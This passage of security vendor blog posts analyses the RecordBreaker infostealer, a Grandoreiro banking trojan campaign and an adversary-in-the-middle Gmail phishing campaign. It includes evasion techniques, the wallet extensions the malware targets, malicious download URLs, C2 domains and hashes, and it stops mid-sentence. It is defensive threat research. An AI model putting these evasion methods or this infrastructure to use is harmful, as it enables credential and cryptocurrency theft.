effectively navigate the system, avoid detection, and run more smoothly, as shown in the screenshots featured in Fig. 9-10 below. Fig 9: API calls used for anti-debugging techniques using FindWindow API Fig 10: Message box displayed to close security tools After execution, the malware in this sample communicates with the C2 server and sends back the machine ID and config ID before downloading its required libraries from the remote server. Fig 11: Communication with C2 server The examined instance of RecordBreaker is designed to steal browser information from extensions, including: MetaMask, TronLink, BinanceChain, Ronin, MetaMask, MetaX, XDEFI, WavesKeeper, Solflare, Rabby, CyanoWallet, Coinbase, AuroWallet, KHC, TezBox, Coin98, Temple, ICONex, Sollet, CloverWallet, PolymeshWallet, NeoLine, Keplr, TerraStation, Liquality, SaturnWallet, GuildWallet, Phantom, TronLink, Brave, MetaMask, Ronin, MEW_CX, TON, Goby and TON using extension IDs provided from the C2 server, like the examples shown below. ejbalbakoplchlghecdalmeeeajnimhm;(MetaMask) ibnejdfjmmkpcnlpebklmnkoeoihofec;(TronLink) fhbohimaelbohpjbbldcngcnapndodjp;(BinanceChain) fnjhmkhhmkbjkkabndcnnogagogbneec;(Ronin) kjmoohlgokccodicjjfebfomlbljgfhk;(Ronin) nkbihfbeogaeaoehlefnkodbefgpgknn;(MetaMask) mcohilncbfahbmgdjkbpemcciiolgcge;(MetaX) hmeobnfnfcmdkdcmlblgagmfpfboieaf;(XDEFI) lpilbniiabackdjcionkobglmddfbcjo;(WavesKeeper) bhhhlbepdkbapadjdnnojkbgioiodbic;(Solflare) acmacodkjbdgmoleebolmdjonilkdbch;(Rabby) dkdedlpgdmmkkfjabffeganieamfklkm;(CyanoWallet) hnfanknocfeofbddgcijnmhnfnkdnaad;(Coinbase) cnmamaachppnkjgnildpdmkaakejnhae;(AuroWallet) hcflpincpppdclinealmandijcmnkbgn;(KHC) mnfifefkajgofkcjkemidiaecocnkjeh;(TezBox) aeachknmefphepccionboohckonoeemg;(Coin98) ookjlbkiijinhpmnjffcofjonbfbgaoc;(Temple) flpiciilemghbmfalicajoolhkkenfel;(ICONex) fhmfendgdocmcbmfikdcogofphimnkno;(Sollet) nhnkbkgjikgcigadomkphalanndcapjk;(CloverWallet) jojhfeoedkpkglbfimdfabpdfjaoolaf;(PolymeshWallet) cphhlgmgameodnhkjdmkpanlelnlohao;(NeoLine) dmkamcknogkgcdfhhbddcghachkejeap;(Keplr) ajkhoeiiokighlmdnlakpjfoobnjinie;(TerraStation) aiifbnbfobpmeekipheeijimdpnlpgpp;(TerraStation) kpfopkelmapcoipemfendmdcghnegimn;(Liquality) nkddgncdjgjfcddamfgcmfnlhccnimig;(SaturnWallet) nanjmdknhkinifnkgdcggcfnhdaammmj;(GuildWallet) bfnaelmomeimhlpmgjnjophhpkkoljpa;(Phantom) ibnejdfjmmkpcnlpebklmnkoeoihofec;(TronLink) odbfpeeihdkbihmopkbjmoonfanlbfcl;(Brave) ejbalbakoplchlghecdalmeeeajnimhm;(MetaMask) kjmoohlgokccodicjjfebfomlbljgfhk;(Ronin) nlbmnnijcnlegkjjpcfjclmcfggfefdm;(MEW_CX) cgeeodpfagjceefieflmdfphplkenlfk;(TON) jnkelfanjkeadonecabehalmbgpfodjm;(Goby) nphplpgoakhhjchkkhmiggakijnkhfnd;(TON) After running, the gathered system information and installed application information is sent back to the C2 server. Fig 12: Stealing system and installed software information This malware can also send screenshots back to the C2 server, as shown below in the post-transaction relaying desktop screenshot. Fig 13: Screenshot sent back to C2 server RecordBreaker leaves nothing untapped, also collecting cookies from across the victims different browsers and sending them back to the C2 server, as shown in Fig 14 below Fig 15: Stealing browser cookies Sample downloaded files 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll 94.158.244[.]119/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin Conclusion: This campaign highlights how attackers take advantage of users’ behavior through the distribution of pirated software to spread infostealer malware and extort victims for financial profits and other gains. The campaigns analyzed in this article depend on users visiting and downloading software from unscrupulous websites as the initial infection vector, users can easily prevent these unfortunate infections by avoiding this illegal practice and only visiting legitimate sites and downloading software from trustworthy sources. Best Practices: Avoid visiting untrusted sites including those that host pirated software Do not install pirated software on your device Enable policy to block password-protected files Do not save credentials in the browser Zscaler Cloud Sandbox Detection: IOCs These are the malicious indicators involved in this campaign, MD5s are not listed because the password-protected zip files involved generate a new MD5 with each download transaction. Malicious IPs: 45[.]150[.]67[.]175 94[.]158[.]244[.]119 45[.]135[.]134[.]211 194[.]180[.]174[.]180 185[.]250[.]148[.]76 37[.]221[.]67[.]219 45[.]140[.]146[.]169 94[.]140[.]114[.]231 94[.]158[.]244[.]213 45[.]142[.]212[.]100 194[.]180[.]174[.]187 194[.]180[.]174[.]186 135[.]181[.]105[.]89 77[.]91[.]102[.]88 77[.]91[.]103[.]31 94[.]158[.]247[.]24 85[.]239[.]34[.]235 45[.]67[.]34[.]234 45[.]67[.]34[.]238 45[.]142[.]215[.]92 45[.]153[.]230[.]183 45[.]152[.]86[.]98 74[.]119[.]193[.]57 77[.]91[.]74[.]67 146[.]19[.]247[.]28 77[.]91[.]102[.]115 45[.]159[.]251[.]21 146[.]19[.]247[.]52 45[.]142[.]215[.]50 45[.]133[.]216[.]170 193[.]43[.]146[.]22 193[.]43[.]146[.]26 146[.]70[.]124[.]71 193[.]43[.]146[.]17 146[.]19[.]75[.]8 45[.]84[.]0[.]152 45[.]133[.]216[.]249 45[.]67[.]34[.]152 45[.]133[.]216[.]145 Fake shareware download sites: fullcrack4u[.]com activationskey[.]org xproductkey[.]com saifcrack[.]com crackedpcs[.]com allcracks[.]org aryancrack[.]com prolicensekeys[.]com apps-for-pc[.]com bagas3-1[.]com seostar2[.]xyz keygenwin[.]com cloud27[.]xyz allpcsoftwares[.]info deepprostore[.]com serialfull[.]info steamunlocked[.]one file-store2[.]xyz reallkeys[.]com fullcrackedz[.]com softwaresdaily[.]com officials-kmspico[.]com hotbuckers[.]com mycrackfree[.]com procfullcracked[.]com idmfullcrack[.]info drake4[.]xyz crackedsofts[.]info getintopc[.]digital piratespc[.]net apxsoftwares[.]com crackfullpro[.]com allcrackhere[.]info kuyhaa-me[.]pw crackplaced[.]com freepccrack[.]com proapkcrack[.]com crackfullpc[.]com Free-4paid[.]com crackedlink[.]com crackpropc[.]com cracktube[.]net getmacos[.]org getwindowsactivator[.]info playzipgames[.]co proactivationkey[.]com procrackfree[.]com showcrack[.]com Redirected Malicious NRD domains: file-store2[.]xyz seostar2[.]xyz drake4[.]xyz cloud27[.]xyz kirov1[.]xyz unixfilesystem2[.]xyz file-store4[.]xyz cloud25[.]xyz clubfiletyc[.]com ihgatms[.]cfd notbeexcluded[.]cfd andslideasco[.]cfd sonarsurveyof[.]cfd butvelocities[.]cfd herihed[.]cfd largerinscale[.]cfd itsdebri[.]cfd lditsdebriisar[.]cfd eeorderso[.]cfd psestwotothr[.]cfd uptomscan[.]cfd fmagnitude[.]cfd byasdebrisfie[.]cfd ticlewesimulate[.]cfd ergyfrommo[.]cfd sup7podthee[.]cfd heirreplacem[.]cfd hthecrown[.]cfd entbymo[.]cfd ctswasprimarilyd[.]cfd adsharedwi897th[.]cfd mershadclo[.]cfd aptersandt[.]cfd nkstherefor[.]cfd iruiotish[.]cfd itishindia[.]cfd theyt786ku[.]cfd theritishind[.]cfd edbythe67ak[.]cfd panyruld[.]cfd uslimsofbr[.]cfd sputrey567rik[.]cfd shatheg[.]cfd istanmove[.]cfd menhichs[.]cfd upta16theu[.]cfd andelect[.]cfd oughtme[.]cfd ionvictoriesin[.]cfd anwasthere[.]cfd ateofakist[.]cfd egiontheh[.]cfd ahthegha[.]cfd mayyadc[.]cfd emodernst[.]cfd almofmultiple[.]cfd ofth546ebr[.]cfd znavidsde[.]cfd mprisesth[.]cfd ionthatco[.]cfd onzeage[.]cfd indush[.]cfd low-lyingwh[.]cfd nalhajarm[.]cfd iesandb[.]cfd helandsca[.]cfd tsofhormuz[.]cfd rhighest[.]cfd rategicstrai[.]cfd undimangen[.]cfd ani453las[.]cfd anceovarec[.]cfd dcommerc[.]cfd condandthi[.]cfd resonherse[.]cfd ordsexecutiv[.]cfd oundandk[.]cfd quezachieve[.]cfd undertheguid[.]cfd domainxnewma[.]com Tue, 23 Aug 2022 08:04:13 -0700 Mitesh Wani https://www.zscaler.com/blogs/security-research/making-victims-pay-infostealer-malwares-mimick-pirated-software-download https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals Introduction Recently Zscaler ThreatLabz observed a Grandoreiro campaign targeting organizations in the Spanish-speaking nations of Mexico and Spain that work across a variety of different industry verticals such as Automotive, Chemicals Manufacturing and others. In this campaign, the threat actors impersonate government officials from the Attorney General’s Office of Mexico City and from the Public Ministry in the form of spear-phishing emails in order to lure victims to download and execute “Grandoreiro” a prolific banking trojan that has been active since at least 2016, and that specifically targets users in Latin America. Grandoreiro is written in Delphi and utilizes techniques like binary padding to inflate binaries, Captcha implementation for sandbox evasion, and command-and-control (CnC) communication using patterns that are identical to LatentBot. Key Features of this Attack: Grandoreiro targets organizations in the Spanish-speaking nations of Mexico and Spain across various industry verticals The threat actors in this campaign impersonate Mexican Government Officials Multiple anti-analysis techniques are used by Grandoreiro Loader along with implementation of Captcha for evading Sandboxes The Grandoreiro Loader sends across a Check-In Request with all the required User, System and Campaign information The Grandoreiro uses a binary padding technique to evade sandboxes, adding multiple BMP images to the resource section of the binary and inflating the size to 400+ MB The CnC Communication pattern of 2022 Grandoreiro is now completely identical to the LatentBot with “ACTION=HELLO” beacon and ID based communication In-depth analysis of the Grandoreiro campaign and corresponding Infection chain has been explained below. Campaign Details: ThreatLabz has analyzed multiple infection chains for this Grandoreiro campaign, which began in June 2022 and is still ongoing. Based on our analysis, we can infer that the threat actors in this case are attempting to target organizations in the Spanish-speaking countries of Mexico and Spain. Industries targeted in this campaign include: Chemicals Manufacturing Automotive Civil and Industrial Construction Machinery Logistics - Fleet management services Fig 1. Targeted Industry Verticals along with Geographical Locations Infection Chain: The infection chain employed by the threat actors in this campaign is quite similar to previous Grandoreiro campaigns. It begins with a spear-phishing email written in Spanish, targeting victims in Mexico and Spain. The email consists of an embedded link which when clicked redirects the victim to a website that further downloads a malicious ZIP archive on the victim's machine. The ZIP archive is bundled with the Grandoreiro Loader module with a PDF Icon in order to lure the victim into execution; this is responsible for downloading, extracting and executing the final 400MB “Grandoreiro” payload from a Remote HFS server which further communicates with the CnC Server using traffic identical to LatentBot Fig 2. Infection Chain Let’s dive into the spear-phishing emails received by the victims. The phishing emails are divided into two sets based on the lures used by the threat actors. Set I - Impersonating Government Officials - Provisional Archiving Resolution: The first set of phishing emails observed during the campaign were those in which the threat actors impersonated Government officials, instructing the victims to download and share the Provisional Archiving Resolution. Below are the details of the phishing emails: 1.) Subject (Spanish) : Fiscalia General del Gobierno (RESOLUCIÓN13062022) Subject (English) : Government Attorney General (RESOLUTION 13062022) Fig 3. Phishing Email - Fiscalia General del Gobierno As can be seen in the above screenshot, the threat actors are posing as the current Attorney General of Mexico “Alejandro Gertz Manero” The email subject and the signature are of the Attorney General’s Office “Fiscalia General de Justicia'' making the email seem legit. The content in this case notifies the victims about the Provisional Archiving Resolution and asks them to download and share the Resolution before a specified date, after which the payment would not be refunded. If the victim clicks on the embedded link to download the resolution, it redirects to a malicious domain: http[:]//barusgorlerat[.]me as shown in the screenshot, and then downloads a ZIP file from the remote server consisting of the Grandoreiro Loader. 2.) We also came across a similar lure where the threat actors masquerade as “Alejandra Solano - from the Public Ministry - Early Decision and Litigation Section” and ask the Victim to download and share the Provisional Archiving Resolution. In this case, the embedded link redirects to another domain: http[:]//damacenapirescontab[.]com as shown in the screenshot below. Subject (Spanish) :RV [EXTERNAL] Notificación del Ministerio Público - MP08062022 3:59:54 PM Subject (English) : RV [EXTERNAL] Notification of the Public Ministry - MP08062022 3:59:54 PM Fig 4. Phishing Email 2 Set II - Cancellation of Mortgage Loan and Deposit Voucher Slip In this set, there are two types of phishing email lures. The first is regarding the cancellation of a mortgage loan, in which the threat actors ask the victim to download a mortgage cancellation form by opening the embedded link as shown in the below screenshot. Once the link is opened it redirects to the malicious domain: http[:]//assesorattlas[.]me which then further downloads a ZIP File consisting of the Grandoreiro Loader. Subject (Spanish) : Hola agonzaleza Baja del préstamo hipotecario 12:05:38 PM Subject (English) : Hi Agonz, Low Mortgage Loan 12:05:38 PM Fig 5. Phishing Email - Cancellation of Mortgage Loan The second one consists of two similar emails targeted towards two different organizations in Mexico. Here, the victim is asked to download a deposit voucher/slip by clicking on the hyperlink. Once the link is opened, it downloads a ZIP File consisting of the Grandoreiro Loader from http[:]//assesorattlas[.]me and http[:]//perfomacepnneu[.]me as shown in the below screenshot. Subject (Spanish) : Sr.(a) alfonso.vera Comprobante deposito 05-Jul-22 8:06:09 PM Subject (English) : Sr. (a) alfonso.vera Proof of deposit 05-Jul-22 8:06:09 PM Subject (Spanish) : RV Comprobante deposito 28-jun-22 5:11:45 PM Subject (English) : RV Deposit voucher 28-jun-22 5:11:45 PM Fig 6. Phishing Email - Proof of Deposit After analyzing all the phishing emails in our dataset, we were able to establish a common pattern between the emails on the basis of similar content to lure the victims, and the pattern of the embedded links (Pattern: domain.tld/?timestamp), sometimes seen along with targeted countries (domain.tld/country/?timestamp) that were used to download the Grandoreiro Loader from the remote HFS server. Fig 7. Phishing Email - Pattern Analysis By observing this pattern, we can state that the Grandoreiro campaign might be conducted by a single threat actor across various organizations in Mexico and Spain. The pattern can also be beneficial to track other related campaigns as well. Once the victim clicks on the embedded link, the user is redirected to download a ZIP File onto the machine from the following different URLs where all the downloaded files drop the Grandoreiro Loader. The file names correspond to the email lures being used: 35[.]181[.]59[.]254/info99908hhzzb.zip 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 35[.]181[.]59[.]254/$FISCALIGE54327065410839012?id_JIBBRS=DR-307494 52[.]67[.]27[.]173/deposito(1110061313).zip 54.232.38.61/notificacion(flfit48202).zip 54.232.38.61/notificacion(egmux24178).zip Next, let’s examine the ZIP File named “informacion16280LIFSD.zip” which is downloaded from the following remote server 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 once the victim clicks on the embedded link in the Spear phishing email. The ZIP archive bundles two files: A31136.xml infonpeuz52271VVCYX.exe Fig 8. Downloaded ZIP Archive In this case, the first file A31136.xml is not a XML file but a portable executable with the original name “Extensions.dll” and signed with a valid “ASUSTEK COMPUTER INCORPORATION” certificate. It is benign in nature as shown in the screenshot below, and never loaded by the Loader module. Fig 9. Extensions.dll The second file bundled inside the ZIP archive “infonpeuz52271VVCYX.exe” is the Grandoreiro Loader module written in Delphi and masking itself with a PDF Icon compiled on 14th June 2022 in order to lure the victims into execution, as shown in the screenshot below. Fig 10. Grandoreiro Loader Module When the loader module is executed by the victim, it initially creates a Mutex “ZTP@11” by calling CreateMutexA() Fig 11. Creates Mutex Then it loads the “TForm1” Class Object from the resource section “RCData”, and the forms in Delphi are defined by the TForm class itself. Fig 12. Loads the TForm1 Class Object Further, the loader module performs the following anti-analysis checks before executing the critical functions. i) Detect Analysis Tools: The malware detects the below mentioned analysis tools by decrypting the tool names using a XOR-based Decryption routine. It then takes a snapshot of currently executing processes in the system using CreateToolhelp32Snapshot() and walks through the process list using Process32First() and Process32Next(). If any of the analysis tools exist, the malware execution is terminated. Fig 12. Detection of Analysis Tools Regmon.exe Filemon.exe Procmon.exe Wireshark.exe Procexp64.exe Procexp.exe ProcessHacker.exe PCHunter64.exe PCHunter32.exe JoeTrace.exe Fig 13. List of Detected Analysis Tools The second method that the malware uses to detect the analysis tools is to compare the text of the window names with analysis tools (including TCPView and RegShot in this case) by using GetWindowTextW(), FindWindowW, and EnumWindows() APIs. ii) Detect Execution Directory: In this case, the malware checks the directory in which it is being executed. If the below mentioned directory names are used, it terminates itself with a comparison logic in place. C:\insidetm C:\analysis Fig 14. Detection of Execution Directory iii) Anti-Debug Technique: In this case, the Grandoreiro executes the IsDebuggerPresent() to determine whether the current process is being executed in the context of a debugger. If the result is non-zero, the malware terminates itself as shown below in the screenshot. Fig 15. IsDebuggerPresent() Anti-Debug Technique iv) Vmware I/O Port Anti-VM Technique: In this case, the malware checks whether the execution is occurring in a virtual environment (Vmware) by reading data from the I/O Port “0x5658h” (VX) used by Vmware. It achieves this by setting up the registers in the following format as shown below in the screenshot. Fig 16. Vmware I/O Port Anti-VM Technique If, after execution of “in” instruction (executed in order to pull data from the port “VX”) the EBX register consists of the magic Number “VMXh” the malware is executed in a virtualized environment and thus further terminates itself. After completing the anti-analysis checks, the malware decrypts a URL by passing an encrypted string to the string decryption routine. The string decryption routine performs XOR-based decryption with the following key as shown in the screenshot below. Fig 17. Download Server URL decryption via XOR-based String decryption routine This string decryption routine has been used previously in the older variants of Grandoreiro for decrypting strings and API calls in order to evade detection. The Grandoreiro string decryptor can be found here, developed by the SpiderLabs Team at TrustWave. The Grandoreiro Loader then sends across a GET Request to the previously decrypted URL: “http[:]//15[.]188[.]63[.]127/$TIME” which provides in response the URL to download the next stage as seen below. Fig 18. Acquiring Final Payload Download URL Next, the malware executes the URLDownloadToFile() API function with the szURL argument as the remote HFS server URL “http://15[.]188[.]63[.]127:36992/zxeTYhO.xml” in order to download the Final Payload of the Grandoreiro Banking Trojan as shown in the screenshot below. Fig 19. Download Final Payload of the Grandoreiro Banking Trojan The downloaded Grandoreiro Final Payload is a 9MB ZIP archive that is extracted dynamically, and the bundled executable (disguised as zxeTYhO.png) inside the archive is written in a folder whose name is generated at runtime in the “C:\ProgramData'' directory. Also the PE file masquerading as “zxeTYhO.png” is renamed to ASUSTek[random_string].exe, generated with a random string generation logic, and changes on every execution. Fig 20. Grandoreiro Final Payload renamed and written in ProgramData with random generated folder name Furthermore, the Stage-1 Grandoreiro module collects the following System and User information where all the strings are decrypted at runtime via the similar String Decryption Function. i) Username - Retrieves Username via GetUserNameW() Fig 21. Fetches Username ii) ComputerName - Retrieves Computer name via GetComputerNameW Fig 22. Fetches ComputerName iii) Operating System and Version - Retrieves the Operating System and its version from the Windows NT\\CurrentVersion and ProductName registry hive. Fig 23. Fetches OS and its version iv) Antivirus - Retrieves the Antivirus Program installed on the machine via a WMI query shown below in the screenshot Fig 24. Fetches Antivirus v) Check Installed Programs - In this case the Grandoreiro module checks whether the following programs are installed by accessing the Program Files folder (Path: C:\Program Files\ and C:\Program Files (x86)\ ) or the AppData Folder (Path: C:\Users\<username>\AppData\Local) Crypto Wallets: Binance Electrum Coinomi BitBox OPOLODesk LedgerLive Bitcoin Core Banking, Anti-Malware Programs and Mail Clients: AppBrad Bradesco Sicoobnet Navegador C6 Bank Aplicativo Itau Topaz OFD Warsaw Diebold Warsaw Outlook If any of the listed programs are installed on the machine, the malware stores the program names to a list for further usage. Once all of the above mentioned User and System information has been gathered by the malware, it then decrypts the Check-In URL along with required parameters via the XOR-based String decryption routine used previously and concatenates the parameters with the corresponding gathered information as shown below in the screenshot. Fig 25. Decryption and Arrangement of Check-In URL After completion of the concatenation, the loader sends across a POST Check-In Request to the Host: “barusgorlerat[.]me with all the gathered User, System, and Campaign information arranged along with the different parameters as shown and explained in the screenshot below. Fig 26. Check-In Request Once the Check-In request is sent to the remote server, the loader executes the Grandoreiro Final Payload which was downloaded, extracted, and renamed previously. Grandoreiro - Final Payload: The Grandoreiro Final Payload written in Delphi was downloaded previously from the remote HFS server “http://15[.]188[.]63[.]127:36992/zxeTYhO.xml” as a 9.2 MB ZIP file which is then extracted and executed by the Grandoreiro Loader. The extracted file is a 414MB Portable Executable file disguised with a “.png” extension which is later renamed to “.exe” dynamically by the loader and also the final payload is signed with an “ASUSTEK DRIVER ASSISTANTE” digital certificate to appear legitimate and evade detection. Fig 27. Grandoreiro Final Payload Signed with ASUSTEK Certificate As seen in the older Grandoreiro samples, a similar “Binary Padding” technique is used here in order to inflate the file size of the binary to around 400MB by adding two ~200MB Bitmap images in the resource section as shown in the screenshot below. This technique works as an anti-sandbox technique as it helps in evading sandboxes as most of them have a file size limit for execution. Fig 28. Binary Padding used by Grandoreiro The final payload maintains persistence on the Machine by leveraging the Run Registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) which would allow the payload to be executed on startup. Fig 29. Maintain Persistence on the Machine via Run Registry Key In the following Grandoreiro variant, the Payload writes an .ini file (Name: ASUSTekGvaxvh.ini) in the directory of execution which consists of all the following information as shown in the screenshot. The values in the Configuration file are encrypted using a XOR-based Encryption routine with a key that changes in every sample. Fig 30. INI Configuration File The Command & Control communications have been updated from the 2020 variant. Previously there were some similarities between the Grandoreiro and LatentBot communications (as exhibited here), but they were not identical. However, in the latest 2022 sample, the communication pattern has been upgraded by the threat actors and now it is completely identical to LatentBot where the name of the CnC Subdomain is generated via a Domain Generation Algorithm just as the older Grandoreiro variants. The identical LatentBot beacon command “ACTION=HELLO” and the ID-Based communication can be seen in the screenshot below. Fig 31. Grandoreiro C2 Communication - 2022 Fig 32. LatentBot C2 Communication - 2017 (Pic Credit: link) Identical to LatentBot, the Command & Control server provides the Cookie value as a response to the “ACTION=HELLO” beacon which is further used as an ID for communication in the latest Grandoreiro sample, as seen in the below screenshot. Fig 33. Grandoreiro 2022 C2 Communication - ID based Communication Fig 34. LatentBot 2017 C2 Communication - ID based Communication (Pic Credit: link) Furthermore, Grandoreiro includes the following backdoor capabilities for espionage purposes: Keylogging Auto-Updation for newer versions and modules Web-Injects and restricting access to specific websites Command execution Manipulating windows Guiding the victim's browser to a certain URL C2 Domain Generation via DGA (Domain Generation Algorithm) Imitating mouse and keyboard movements While finalizing our article, we came across another ongoing Grandoreiro campaign with an extra anti-sandbox technique used by the malware authors. This technique requires a Captcha to be filled manually to execute the malware in the victim’s machine. The malware is not executed until or unless the Captcha is filled. Figure 35: Captcha used as Anti-sandbox technique (Pic credit: twitter) We have analyzed the following malware in our Lab and found that the network communication is similar to the one analyzed in the blog and it also follows “ACTION=HELLO” beacon and ID based communication as inherited from LatentBot. Zscaler Sandbox Coverage: Figure 36: The Zscaler Cloud Sandbox successfully detected the malware loader. Win32.Banker.Grandoreiro Conclusion: The threat actors behind Grandoreiro Banking malware are continuously evolving their tactics and malware to successfully carry out attacks against their targets by incorporating new anti-analysis tricks to evade security solutions; inheriting features from other Malware families. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe IOCs: Embedded Domains: (Same used for Check-In Request) http[:]//barusgorlerat[.]me http[:]//damacenapirescontab[.]com http[:]//assesorattlas[.]me http[:]//perfomacepnneu[.]me Grandoreiro Loader URLs: 35[.]181[.]59[.]254/info99908hhzzb.zip 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 35[.]181[.]59[.]254/$FISCALIGE54327065410839012?id_JIBBRS=DR-307494 52[.]67[.]27[.]173/deposito(1110061313).zip 54[.]232[.]38[.]61/notificacion(flfit48202).zip 54[.]232[.]38[.]61/notificacion(egmux24178).zip Final Grandoreiro Payload URLs with Check-In URL: 15[.]188[.]63[.]127/$TIME 167[.]114[.]137[.]244/$TIME 15[.]188[.]63[.]127:36992/zxeTYhO.xml 15[.]188[.]63[.]127:36992/vvOGniGH.xml 15[.]188[.]63[.]127[:]36992/eszOscat.xml 15[.]188[.]63[.]127:36992/YSRYIRIb.xml 167[.]114[.]137[.]244:48514/eyGbtR.xml barusgorlerat[.]me/MX/ assesorattlas[.]me/MX/ assesorattlas[.]me/AR/ atlasassessorcontabilidade[.]com/BRAZIL/ vamosparaonde[.]com/segundona/ mantersaols[.]com/MEX/MX/ premiercombate[.]eastus.cloudapp.azure.com/PUMA/ Grandoreiro CnC: Pcbbcrjcgbcghjpbcgkccbjorkhhjcjj[.]fantasyleague[.]cc -> fantasyleague[.]cc jmllmedvhgmhldjgmhvmmlljhvgdzvzz[.]dynns[.]com ciscofreak[.]com chjjhjmomaoheoojjbynnyjiidfcncc.cable-modem.org -> cable-modem.org odbbdbmgmagdfggbbnynnyjiidfcncc.blogsyte.com -> blogsyte.com ifnnfnmcmacfdccnnjynnyjiidfcncc.collegefan.org -> collegefan.org MD5 Hashes: Grandoreiro Loader: 970f00d7383e44538cac7f6d38c23530 724f26179624dbb9918609476ec0fce4 2ec2d539acfe23107a19d731a330f61c 6433f9af678fcd387983d7afafae2af2 56416fa0e5137d71af7524cf4e7f878d 7ea19ad38940ddb3e47c50e622de2aae Grandoreiro Final Payload: e02c77ecaf1ec058d23d2a9805931bf8 6ab9b317178e4b2b20710de96e8b36a0 5b7cbc023390547cd4e38a6ecff5d735 531ac581ae74c0d2d59c22252aaac499 Thu, 18 Aug 2022 11:30:37 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals https://www.zscaler.com/blogs/security-research/aitm-phishing-attack-targeting-enterprise-users-gmail Summary This blog is a follow-up to our recent publication which described the details of a large-scale phishing campaign targeting enterprise users of Microsoft email services. Beginning in mid-July 2022, ThreatLabz started observing instances of adversary-in-the-middle (AitM) phishing attacks targeted towards enterprise users of Gmail. Upon further analysis of the attack chain, we identified multiple similarities between this campaign and the previous AitM phishing campaign targeting users of Microsoft email services. G Suite is the business version of Gmail, and is widely used in enterprises. This campaign specifically targeted chief executives and other senior members of various organizations which use G Suite. As we have already covered the technical details of AitM techniques in our previous blog, we won't describe them again here. However, it is important to note that AitM phishing kits can be used to target various websites and bypass multi-factor authentication. By using phishlets crafted to target a specific legitimate website, attackers can quickly re-use the AitM phishing technique against a new target website. In this blog, we present the indicators of overlap between the two campaigns (Microsoft and Gmail), and discuss how we reached the conclusion that both these phishing campaigns were run by the same threat actor. These campaigns used similar tactics, techniques and procedures (TTPs). There was also an overlap of infrastructure, and we even identified several cases in which the threat actor switched from Microsoft AitM phishing to Gmail phishing using the same infrastructure. Interestingly, the Gmail AitM phishing campaign had a much lower volume of targets compared to the Microsoft AitM phishing attack. Key Points Beginning in July 2022, the same threat actor that used AitM phishing kits to target enterprise users of Microsoft email services began targeting enterprise users of G Suite. The attack is capable of bypassing multi-factor authentication (MFA) protection of Gmail. These phishing emails were sent to chief executives and other senior members of the targeted organizations in the US. In some cases, the emails were also sent to the executive assistants of the CEOs and CFOs. The compromised emails of chief executives were used to conduct further phishing attacks by the threat actor. Multiple compromised domains were used as an intermediate URL redirector to land the user on the final phishing page. A similar client-side fingerprinting script was used for evasion by the threat actor as observed in the previous campaign. The same redirector scripts used in the Microsoft phishing campaign were updated to target G Suite enterprise users. Attack chain Figure 1 below depicts the attack chain at a high level. The attack begins with the user receiving an email containing a malicious link. This link leverages multiple levels of redirection and abuses Open Redirect pages to land the user on the final attacker-controlled Gmail phishing domain. However, before the actual phishing page is presented to the user, the server does a fingerprinting check on the client in order to make sure that a real user is browsing to the site and not an automated analysis system. Each component of the attack chain is explained in more detail in the corresponding sections later. Figure 1: A high-level attack chain of the phishing process Distribution mechanism The attack vector used in this campaign was emails with the malicious link embedded in them. These emails were specifically sent to chief executives and senior members of the targeted organization. The phishing emails impersonated Google and pretended to be password-expiry reminder emails prompting the user to click a link in order to "Extend their access." Figure 2 shows an example of one such phishing email. Figure 2: G Suite phishing email URL redirection The redirection happens in multiple stages which we describe below. Stage 1 There were two categories of Stage 1 redirect links observed in the Gmail phishing campaign. Variant #1 [Open Redirect abuse] This variant abused Open Redirect pages of Google Ads and Snapchat, similar to what we described in our research on Microsoft AitM phishing campaign. Figure 3 depicts two instances where the same Gmail phishing URL was delivered using a Snapchat redirect in one case, and the Google Ads redirect in another. Figure 3: Redirect using Open Redirect pages Variant #2 This variant used compromised sites which stored an encoded version of the Stage 2 redirector and the victim’s email address in the URL. Figure 4 depicts the format of this variant. Figure 4: Second variant of the Stage 1 URL used to redirect users to Stage 2 Stage 2 (Intermediate redirector) The intermediate redirector is a JavaScript hosted on compromised domains. Figure 5 shows an example of the redirect script. The variable "redirectURL" in the script specifies the final phishing landing page. Figure 5: Stage 2 intermediate URL redirector We observed that the threat actor updated this redirectURL variable regularly to ensure it points to the latest phishing page. This allows the threat actor to quickly update their campaign to keep up with URL detections added by security vendors. We regularly monitored these redirector scripts to identify new phishing pages proactively and added detection. We identified compromised domains hosting URL redirect scripts which were updated to point to the new G suite phishing URLs. Figure 6 shows a side-by-side comparison of this case. In this example, "loftds[.]com" is the attacker-controlled domain hosting the redirector script. As can be seen on the left-hand side, on July 11th 2022, the redirector script pointed to a URL used in Microsoft AitM phishing attack. On the right-hand side, we can see that on July 16th 2022, the same script was updated to point to a URL used in the G Suite AitM phishing attack. Figure 6: Same redirector page used in Microsoft AiTM and G suite/Gmail AiTM phishing This was a strong indicator which helped us correlate the two campaigns to the same threat actor. Fingerprinting-based evasion The main phishing page used client-side JavaScript-based fingerprinting to detect the presence of automated URL analysis systems. The fingerprint information collected from the device will be sent to the server using websocket. We explained the technical details of this fingerprinting method in our previous blog here. Once all the stages of URL redirection and the client fingerprinting checks are passed, the user lands on the final Gmail phishing page as shown in Figure 7. Figure 7: Final Gmail phishing page Figure 8 below shows that the AitM phishing kit is able to successfully relay and intercept the multi-factor authentication process used by Gmail / G Suite. Figure 8: 